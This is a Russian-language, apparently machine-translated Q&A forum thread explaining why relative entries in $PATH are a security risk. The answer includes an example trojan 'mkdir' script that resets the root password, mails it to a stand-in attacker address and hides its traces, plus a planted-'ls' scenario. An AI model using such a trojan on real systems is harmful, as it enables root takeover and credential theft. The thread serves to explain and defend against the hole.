У нас был аудит, просто отметьте нас за то, что относительные пути вывернуты наизнанку $PATH
переменная env. Я не уверен, действительно ли это проблема безопасности, и хотел бы связаться со всеми, чтобы узнать, действительно ли это проблема безопасности или это просто лучшие практики вещь, как я предполагаю. Может ли кто-нибудь предоставить информацию о любых проблемах безопасности при использовании $PATH
с родственниками? Спасибо
У используемого пути есть две проблемы.
Предположим, у вас есть следующий сценарий оболочки, который вы используете как root для обновления некоторого веб-приложения, и вы установили $PATH
используется в /etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
Злоумышленнику вы предоставляете средство для выполнения чего-либо в оболочке, контролируемой этим злоумышленником. Форма атаки может выглядеть так - я пытаюсь подорвать контроль над mkdir
вызовите уязвимый скрипт.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" attacker@somewherebad.com
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Тогда я жду, когда вы обновите свое веб-приложение.
Теперь происходит то, что уязвимый сценарий переключается на /dev/shm
. Когда он это делает и работает mkdir
он находит apps/java/bin/mkdir
сначала программа, которая в этом случае сбрасывает пароль root, отправляет злоумышленнику электронное письмо с новым паролем root, фактически вызывает настоящий mkdir
(чтобы скрыть факт, что что-то действительно произошло) и удаляется с пути атаки.
Как root у вас есть нет Идея о том, что произошло, и доказательства стираются после доставки полезной нагрузки.
Проблема с указанием относительного пути в $ PATH заключается в том, что если злоумышленник может создать файл с заданным именем в вашей файловой системе, вы рискуете запустить этот файл.
Пример: df
или мониторинг говорит, что / var заполнен, du
говорит, что это /var/spool/ftp/uploads
, чем ты занимаешься?
cd /var/spool/ftp/uploads
ls -ltr
и вы принадлежите. Ты даже не видишь ls
на выходе, так что вы никогда не узнаете.
Замените загрузку ftp каталогом данных какого-либо клиентского веб-сайта, или каталогом / tmp общей машины, или многими другими вещами.
По общему признанию, это произойдет не часто, но риск существует, и написание ./script
вместо того script
это легко.